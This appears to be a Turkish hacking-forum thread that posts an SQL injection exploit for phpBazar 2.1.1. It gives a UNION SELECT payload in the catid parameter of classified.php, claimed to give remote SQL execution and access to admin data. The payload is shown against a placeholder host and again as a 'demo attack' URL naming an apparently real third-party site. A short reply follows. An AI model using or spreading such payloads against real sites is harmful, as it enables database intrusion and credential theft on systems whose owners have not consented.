folder Tahribat.com Forumları
linefolder Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
linefolder Phpbazar 2.1. SQL Sokuşturma Güvenlik Açığı



Phpbazar 2.1. SQL Sokuşturma Güvenlik Açığı

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Master
    Master's avatar
    Kayıt Tarihi: 10/Nisan/2007
    Erkek

    Risk: Normal
    Etki : uzaktan SQL kod caliştirma ve Admin bilgilerine erişme
    Etkilenenler: phpBazar 2.1.1 Sürümünde var bu güvnelik açığı

    Exploit:

    http://saldırılacaksiteninadi.com/[saldırılacaksiteninyolu]/classified.php?catid=2+and+1=0+union+all+select+1,2,3,4,5,6,7
    --

    Demo saldırı:

    http://toutsurlegoldenretriever.fr/phpBazar-2.1.1fix/classified.php?catid=2
    +and+1=0+union+all+select+1,2,3,4,5,6,7--

    M@ster

    Bilgi güçtür, düşmanını barışa zorlar.
    Reply With Quote Alıntı yap
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    SUPERBICO
    SUPERBICO's avatar
    Kayıt Tarihi: 13/Haziran/2008
    Erkek

    sondaki profil linki galba o yanlıs olmus

    Reply With Quote Alıntı yap
Toplam Hit: 1771 Toplam Mesaj: 2